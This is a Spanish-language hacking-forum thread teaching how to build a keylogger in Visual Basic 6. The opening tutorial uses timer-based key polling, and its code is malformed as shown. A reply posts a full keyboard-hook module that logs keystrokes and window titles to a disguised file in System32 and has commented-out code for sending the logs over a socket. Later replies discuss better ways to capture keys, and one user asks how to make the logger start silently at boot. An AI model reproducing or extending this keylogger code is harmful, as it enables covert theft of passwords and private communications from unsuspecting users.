elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  [VB6] Creando un keylogger basico by SharkI
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [VB6] Creando un keylogger basico by SharkI  (Leído 23,184 veces)
illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
[VB6] Creando un keylogger basico by SharkI
« en: 17 Agosto 2009, 17:21 pm »

Creando un Keylogger Basico en Visual Basic 6.0 by SharkI



- ¿Que es un keylogger y como trabaja?
- Conocimientos recomendados
- Comenzando con el manual


¿Que es un keylogger y como trabaja? :
Un keylogger (derivado del inglés: Key (Tecla) y Logger (Registrador); registrador de teclas) es un tipo de software que se encarga de registrar las pulsaciones que se realizan en el teclado, para memorizarlas en un fichero y/o enviarlas a través de internet.

Conocimientos recomendados :
Para poder desarollar lo que se mostrará en el manual se requiere conocimientos basicos de Visual Basic 6.0 y también saber que es un caracter ASCII http://es.wikipedia.org/wiki/ASCII

Comenzando con el manual :
Para comenzar voy a poner una tabla sobre las constantes basicas que ofrece Visual Basic para capturar las teclas.



Comencemos, primero abrimos un nuevo proyecto en visual basic seleccionando 'EXE estándar' :



Añadiremos '1 TextBox, 1 Timer y 2 CommandButtons', quedando algo asi :



Explicaré para que es cada control :
- TextBox = Aqui se mostrarán las teclas capturadas
- Timer(TM) = Se encargará de activar/desactivar el keylogger, cuando el keylogger está activo el timer estará verificando cada 10 milisegundos que tecla se ha pulsado, asi que hay que poner el intervalo en 10 milisegundos y en 'Enabled' = False
- 2 CommandButtons = Uno se usará para activar el keylogger y otro para desactivarlo.

Vamos a empezar con el codigo de fuente, el keylogger necesitará usar la api llamada 'GetAsyncKeyState' asi que la añadimos a la parte 'General' del codigo de fuente y nos dirigimos al timer, a partir de ahora iré poniendo comentarios en el mismo codigo de fuente :

Código:
Private Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer

Private Sub TM_Timer()
 Dim i as integer, x as integer   '# Declaramos i y x como enteros
 For i =  8 to 222  '# El bucle recorrerá desde el valor 8 hasta el 222

  x = GetAsyncKeyState(i)  '# Obtendrá la tecla que se situa en el entero i
  
 Select case i  '# Ahora recibiremos el valor del entero 'i' para interpretarlo depende del valor
                     '# que sea, primero usaremos las constantes basicas que nos da VB, nos podemos
                     '# ir fijando en la anterior lista que he puesto al principio
 
 If x = -32767 Then  '# Verificamos si se ha pulsado alguna tecla
   Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] "   '#  Recibimos la tecla y la interpretamos
   Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
   Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
   Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
   Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] "
   Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
   Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
   Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
   Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
   Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
   Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
   Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
   Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
   Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
   Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
   Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
   Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
   Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
   Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
   Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
   Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
   Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
   Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
   Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
   Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
   Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
   Case vbKey0: Text1.Text = Text1.Text & "0"
   Case vbKey1: Text1.Text = Text1.Text & "1"
   Case vbKey2: Text1.Text = Text1.Text & "2"
   Case vbKey3: Text1.Text = Text1.Text & "3"
   Case vbKey4: Text1.Text = Text1.Text & "4"
   Case vbKey5: Text1.Text = Text1.Text & "5"
   Case vbKey6: Text1.Text = Text1.Text & "6"
   Case vbKey7: Text1.Text = Text1.Text & "7"
   Case vbKey8: Text1.Text = Text1.Text & "8"
   Case vbKey9: Text1.Text = Text1.Text & "9"
   Case vbKeyA: Text1.Text = Text1.Text & "A"
   Case vbKeyB: Text1.Text = Text1.Text & "B"
   Case vbKeyC: Text1.Text = Text1.Text & "C"
   Case vbKeyD: Text1.Text = Text1.Text & "D"
   Case vbKeyE: Text1.Text = Text1.Text & "E"
   Case vbKeyF: Text1.Text = Text1.Text & "F"
   Case vbKeyG: Text1.Text = Text1.Text & "G"
   Case vbKeyH: Text1.Text = Text1.Text & "H"
   Case vbKeyI: Text1.Text = Text1.Text & "I"
   Case vbKeyJ: Text1.Text = Text1.Text & "J"
   Case vbKeyK: Text1.Text = Text1.Text & "K"
   Case vbKeyL: Text1.Text = Text1.Text & "L"
   Case vbKeyM: Text1.Text = Text1.Text & "M"
   Case vbKeyN: Text1.Text = Text1.Text & "N"
   Case vbKeyO: Text1.Text = Text1.Text & "O"
   Case vbKeyP: Text1.Text = Text1.Text & "P"
   Case vbKeyQ: Text1.Text = Text1.Text & "Q"
   Case vbKeyR: Text1.Text = Text1.Text & "R"
   Case vbKeyS: Text1.Text = Text1.Text & "S"
   Case vbKeyT: Text1.Text = Text1.Text & "T"
   Case vbKeyU: Text1.Text = Text1.Text & "U"
   Case vbKeyV: Text1.Text = Text1.Text & "V"
   Case vbKeyW: Text1.Text = Text1.Text & "W"
   Case vbKeyX: Text1.Text = Text1.Text & "X"
   Case vbKeyY: Text1.Text = Text1.Text & "Y"
   Case vbKeyZ: Text1.Text = Text1.Text & "Z"
   Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
   Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
   Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
   Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
   Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
   Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
   Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
   Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
   Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
   Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
   Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
   Case vbKeyAdd: Text1.Text = Text1.Text & "+"
   Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
   Case vbKeySubtract: Text1.Text = Text1.Text & "-"
   Case vbKeyDecimal: Text1.Text = Text1.Text & "."
   Case vbKeyDivide: Text1.Text = Text1.Text & "/"
   Case vbKeyF1: Text1.Text = Text1.Text & "F1"
   Case vbKeyF2: Text1.Text = Text1.Text & "F2"
   Case vbKeyF3: Text1.Text = Text1.Text & "F3"
   Case vbKeyF4: Text1.Text = Text1.Text & "F4"
   Case vbKeyF5: Text1.Text = Text1.Text & "F5"
   Case vbKeyF6: Text1.Text = Text1.Text & "F6"
   Case vbKeyF7: Text1.Text = Text1.Text & "F7"
   Case vbKeyF8: Text1.Text = Text1.Text & "F8"
   Case vbKeyF9: Text1.Text = Text1.Text & "F9"
   Case vbKeyF10: Text1.Text = Text1.Text & "F10"
   Case vbKeyF11: Text1.Text = Text1.Text & "F11"
   Case vbKeyF12: Text1.Text = Text1.Text & "F12"
   Case vbKeyF13: Text1.Text = Text1.Text & "F13"
   Case vbKeyF14: Text1.Text = Text1.Text & "F14"
   Case vbKeyF15: Text1.Text = Text1.Text & "F15"
   Case vbKeyF16: Text1.Text = Text1.Text & "F16"
   Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "
 End Select
 End if

End Sub


Vale ya tenemos las teclas basicas que nos facilito las constantes de visual basic, pero que pasa con todas las que faltan?, para las siguientes usaremos los carácteres ASCII ya que para esas teclas no hay constantes facilitadas. Para ello vamos a hacer un pequeño programa para poder saber que valor ASCII tiene cada una de las letras, vayamos a un nuevo proyecto 'EXE estándar' y añadimos '1 TextBox y 1 CommandButton', quedando algo así :



Ahora con la función 'Asc' podemos obtener el valor Ascii, miremos el codigo de fuente del 'CommandButton' :

Código:
Private Sub Command1_Click()
 Text1.Text = Asc(Text1.Text)
End Sub

Bueno ahora el carácter que se escriba en el 'TextBox' se transformará en caracter Ascii solo pulsando el 'CommandButton', ahora solo nos queda agregar los carácteres que faltan al proyecto del keylogger de la siguiente manera :

Dentro del 'Select Case', como un 'Case' más :
Código:
Case 112: Text1.Text = Text1.Text & " [F1] "  '#  112 es el valor ASCII de la tecla F1

Bueno aqui acabo el manual, espero que les sea de gran ayuda y que aprendan mucho, si quieren compartir este manual no olviden poner el respectivo autor.

Saludos!  ;)


« Última modificación: 17 Agosto 2009, 20:11 pm por Sharki » En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.082


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #1 en: 17 Agosto 2009, 17:36 pm »

Jeje, está bueno pero se puede optimizar  :P. Por ejemplo, para las teclas de letras a-z puedes usar un bucle for y sacar la letra a partir del vKey (creo que coincidía con el valor ascii de la tecla, ya no recuerdo bien  :-\) y para las teclas numéricas 0-9 igual. Además, luego si quieres hacer que distinga entre mayúsculas en minúsculas, usando GetKeyState, bastaría con hacer una comprobación dentro del for, sin tener que añadir mas casos al select. En lo único que tend´rias que utilizar tantos casos es para las teclas de los símbolos como !"·$.

Espero que te sirva de algo  :P


En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #2 en: 17 Agosto 2009, 17:43 pm »

Jeje, está bueno pero se puede optimizar  :P. Por ejemplo, para las teclas de letras a-z puedes usar un bucle for y sacar la letra a partir del vKey (creo que coincidía con el valor ascii de la tecla, ya no recuerdo bien  :-\) y para las teclas numéricas 0-9 igual. Además, luego si quieres hacer que distinga entre mayúsculas en minúsculas, usando GetKeyState, bastaría con hacer una comprobación dentro del for, sin tener que añadir mas casos al select. En lo único que tend´rias que utilizar tantos casos es para las teclas de los símbolos como !"·$.

Espero que te sirva de algo  :P

Jeje si, lo hice rapido y basico para que se entienda mas o menos como trabaja.

Saludos y gracias!  ;D
En línea

Spider-Net


Desconectado Desconectado

Mensajes: 1.165


Un gran poder conlleva una gran responsabilidad


Ver Perfil WWW
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #3 en: 17 Agosto 2009, 18:24 pm »

Estaría bien uno de estos pero en vez de con Timers mediante un hook a las teclas. Obviamente sería más optimizado todavía. He visto por aquí ya varias veces a seba123Neo y algunos más recomendar siempre que se habla de keyloggers el hacerlo mediante hooks en lugar de con un timer aunque la verdad es que yo nunca lo he probado.

A mí me gustaría verlo por curiosidad ya que hace bastante tiempo que no diseño malware, pero no sé, nunca vi como se hace con hooks. Al final me pondré a investigar y a saber como se hace porque me pica la curiosidad ya xD

Un saludo.
En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.082


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #4 en: 17 Agosto 2009, 18:51 pm »

Con hooks es mejor, con un timer siembre se puede escapar alguna tecla o capturar la misma tecla demasiadas veces, en cambio se capturas los mensajes con un hook no se escapa nada  ;D. Hace tiempo (cuando programaba en VB  :xD) quise hacer un keylogger y encontré un ejemplo el cual modifiqué un poco, no recuerdo de donde lo saqué:

Código
  1. Option Explicit
  2.  
  3. Private Type KBDLLHOOKSTRUCT
  4. code As Long
  5. End Type
  6.  
  7. Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
  8. Public Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
  9. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  10. Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  11. Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
  12. Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
  13. Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
  14. Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
  15. Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  16. Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
  17. Private Declare Function GetForegroundWindow Lib "user32" () As Long
  18.  
  19. Private Const WH_KEYBOARD_LL = 13&
  20. Private Const WM_KEYDOWN = &H100
  21. Private Const VK_SHIFT = &H10
  22. Private Const VK_CAPITAL = &H14
  23. Private Const READ_CONTROL As Long = &H20000
  24. Private Const STANDARD_RIGHTS_WRITE As Long = (READ_CONTROL)
  25. Private Const KEY_SET_VALUE As Long = &H2
  26. Private Const KEY_CREATE_SUB_KEY As Long = &H4
  27. Private Const SYNCHRONIZE As Long = &H100000
  28. Private Const KEY_WRITE As Long = ((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
  29. Private Const HKEY_LOCAL_MACHINE As Long = &H80000002
  30. Private Const REG_SZ As Long = 1
  31.  
  32. Dim hook As Long
  33. Dim titulo As String
  34. Dim ultima As String
  35. Dim strInfo As String
  36. Dim ruta As String
  37. Dim handle As Long, ln As Long
  38. Dim i As Integer
  39. Dim hookKey As KBDLLHOOKSTRUCT
  40. Dim intercept As Boolean
  41. Dim keyCode As Long
  42. Dim tec As String
  43. Public socketconnected As Boolean
  44.  
  45.  
  46. Public Function KeyboardProc(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  47.  
  48. If wParam = WM_KEYDOWN Then
  49.    Call CopyMemory(hookKey, ByVal lParam, Len(hookKey))
  50.    keyCode = hookKey.code
  51.  
  52.    Select Case keyCode
  53.        Case 8
  54.            tec = tec & "{BACK}"
  55.        Case 9
  56.            tec = tec & "{TAB}"
  57.        Case 17
  58.            tec = tec & "{CTRL}"
  59.        Case 18
  60.            tec = tec & "{ALT}"
  61.        Case 32
  62.            tec = tec & " "
  63.        Case 35
  64.            tec = tec & "{END}"
  65.        Case 36
  66.            tec = tec & "{HOME}"
  67.        Case 46
  68.            tec = tec & "{DEL}"
  69.        Case 91
  70.            tec = tec & "{LWIN}"
  71.        Case 92
  72.            tec = tec & "{RWIN}"
  73.        Case 96
  74.            tec = tec & "0"
  75.        Case 97
  76.            tec = tec & "1"
  77.        Case 98
  78.            tec = tec & "2"
  79.        Case 99
  80.            tec = tec & "3"
  81.        Case 100
  82.            tec = tec & "4"
  83.        Case 101
  84.            tec = tec & "5"
  85.        Case 102
  86.            tec = tec & "6"
  87.        Case 103
  88.            tec = tec & "7"
  89.        Case 104
  90.            tec = tec & "8"
  91.        Case 105
  92.            tec = tec & "9"
  93.        Case 106
  94.            tec = tec & "*"
  95.        Case 107
  96.            tec = tec & "+"
  97.        Case 109
  98.            tec = tec & "-"
  99.        Case 110
  100.            tec = tec & "."
  101.        Case 111
  102.            tec = tec & "/"
  103.        Case 112
  104.            tec = tec & "{F1}"
  105.        Case 113
  106.            tec = tec & "{F2}"
  107.        Case 114
  108.            tec = tec & "{F3}"
  109.        Case 115
  110.            tec = tec & "{F4}"
  111.        Case 116
  112.            tec = tec & "{F5}"
  113.        Case 117
  114.            tec = tec & "{F6}"
  115.        Case 118
  116.            tec = tec & "{F7}"
  117.        Case 119
  118.            tec = tec & "{F8}"
  119.        Case 120
  120.            tec = tec & "{F9}"
  121.        Case 121
  122.            tec = tec & "{F10}"
  123.        Case 122
  124.            tec = tec & "{F11}"
  125.        Case 123
  126.            tec = tec & "{F12}"
  127.        Case 186
  128.            tec = tec & ";"
  129.        Case 187
  130.            tec = tec & "="
  131.        Case 188
  132.            tec = tec & ","
  133.        Case 189
  134.            tec = tec & "-"
  135.        Case 190
  136.            tec = tec & "."
  137.        Case 191
  138.            tec = tec & "/"
  139.        Case 192
  140.            tec = tec & " "
  141.        Case 219
  142.            tec = tec & "["
  143.        Case 220
  144.            tec = tec & "\"
  145.        Case 221
  146.            tec = tec & "["
  147.        Case 222
  148.            tec = tec & "'"
  149.    End Select
  150.  
  151.    If (keyCode >= 48 And keyCode <= 57) Or (keyCode >= 65 And keyCode <= 90) Then
  152.        If GetAsyncKeyState(VK_SHIFT) < 0 Then
  153.            If GetKeyState(VK_CAPITAL) > 0 Then
  154.                tec = tec & LCase(Chr(keyCode))
  155.            Else
  156.            tec = tec & UCase(Chr(keyCode))
  157.            End If
  158.        Else
  159.            If GetKeyState(VK_CAPITAL) > 0 Then
  160.                tec = tec & UCase(Chr(keyCode))
  161.            Else
  162.                tec = tec & LCase(Chr(keyCode))
  163.            End If
  164.  
  165.        End If
  166.  
  167.    ElseIf keyCode = 13 Then
  168.        tec = tec & vbNewLine
  169.    End If
  170. End If
  171.  
  172. KeyboardProc = CallNextHookEx(hook, ncode, wParam, lParam)
  173.  
  174. End Function
  175.  
  176. Public Function KeyboardHook()
  177. hook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KeyboardProc, App.hInstance, 0&)
  178. End Function
  179.  
  180. Public Function Unhook()
  181. Call UnhookWindowsHookEx(hook)
  182. hook = 0
  183. Unhook = 1
  184. End Function
  185.  
  186. Public Function Capturar()
  187. ruta = System32 & "\backup32.dat"
  188.  
  189. Open ruta For Input As #1
  190. Dim Datos As String
  191. Get #1, , Datos
  192. Close #1
  193.  
  194. Dim myTimer
  195. myTimer = SetTimer(0, 0, 1, AddressOf TimerProc)
  196. Call KeyboardHook
  197. End Function
  198.  
  199. Private Sub TimerProc(ByVal hwnd As Long, ByVal lMsg As Long, ByVal lTimerID As Long, ByVal lTimer As Long)
  200. ultima = titulo
  201. handle = GetForegroundWindow
  202. ln = GetWindowTextLength(handle)
  203. titulo = String(ln, Chr$(0))
  204. GetWindowText handle, titulo, ln + 1
  205.  
  206. If titulo <> ultima And ultima <> "" And tec <> "" Then
  207.    GuardarDatos (tec)
  208.    tec = ""
  209. End If
  210.  
  211. End Sub
  212.  
  213. Private Function GuardarDatos(tec As String)
  214. If socketconnected = True Then
  215.  
  216.    'Open ruta For Input As #1
  217.    'Dim Datos As String
  218.    'Datos = Space(LOF(1))
  219.    'Get #1, , Datos
  220.    'Close #1
  221.    'If Datos <> "" Then
  222.    'Envia "DatKey|" + Datos
  223.    'End If
  224.    'Envia "DatKey|" + "[+]" + "[" + Date$ + "]" + "[" + Time$ + "]" + ultima + ":" + vbNewLine + tec
  225. Else
  226.    Open ruta For Append As #1
  227.    Print #1, "[+]" + "[" + Date$ + "]" + "[" + Time$ + "]" + ultima + ":" + vbNewLine + tec
  228.    Close #1
  229. End If
  230. End Function
  231.  
  232. Public Function NoCapturar()
  233. Unhook
  234. hook = 0
  235. End Function

Es un módulo muy viejo, seguro no es ejemplar pero bueno  :xD.

Karcrack creo que tambien hiciera un tutorial sobre un keylogger mediante hooks no se donde.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Spider-Net


Desconectado Desconectado

Mensajes: 1.165


Un gran poder conlleva una gran responsabilidad


Ver Perfil WWW
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #5 en: 17 Agosto 2009, 18:57 pm »

Jejeje, muchas gracias porque la verdad me picaba la curiosidad, justo hace un momento acabo de leer un pequeño tutorial de karcrack que explicaba como hacer un keylogger mediante hook al teclado y no es nada complicado, la verdad es que está bastante bien. El manual lo encontré en el foro de code-makers, en la ezine 1.

No lo copio aquí porque no sé si le puede molestar a karcrack por lo que si puede que lo postee él, la verdad es que está bastante bien explicado y bastante sencillo. Yo te felicito por si me lees karcrack.

Un saludo ;)
En línea

Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #6 en: 17 Agosto 2009, 19:18 pm »

@Spider-Net: Me alegro que te gustara :P
Para cualquiera que lo quiera leerlo lo acabo de postear aqui ;):
Código:
http://foro.elhacker.net/programacion_vb/vb_creacion_de_un_keylogger_avanzado_hook-t264469.0.html

Saludos ;)
« Última modificación: 17 Agosto 2009, 19:21 pm por Karcrack » En línea

illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #7 en: 17 Agosto 2009, 19:59 pm »

Muy bueno lo del hook, ahora me lo leeré detenidamente  ;-)
En línea

‭‭‭‭jackl007


Desconectado Desconectado

Mensajes: 1.403


[UserRPL]


Ver Perfil WWW
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #8 en: 17 Agosto 2009, 20:16 pm »

Con HOOKs es mejor...
yo estaba ayudando a programar uno en c++, pero para un keylogger inteligente (los registros los elabora en HTML, elimina informacion innecesaria...etc)
En línea

darkside6666

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #9 en: 9 Noviembre 2010, 15:29 pm »

hola. buenas

tengo la necesidad de usar un KL

Quisiera saber si este Kl  se puede arrancar junto con el inicio de la maquina.

sin usar los command buton o sea que capture sin necesidad de arrancarlo y despues buscar el txt con las capturas.

se agradece mucho , soy muy inexperto en vb.

gracias.
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Keylogger Basico
Programación Visual Basic
MarkiiAk 0 2,263 Último mensaje 20 Mayo 2013, 21:07 pm
por MarkiiAk
Octopus 0.2 RAT - FREE (SharkI)
Software
illuminat3d 3 1,780 Último mensaje 25 Julio 2017, 11:54 am
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines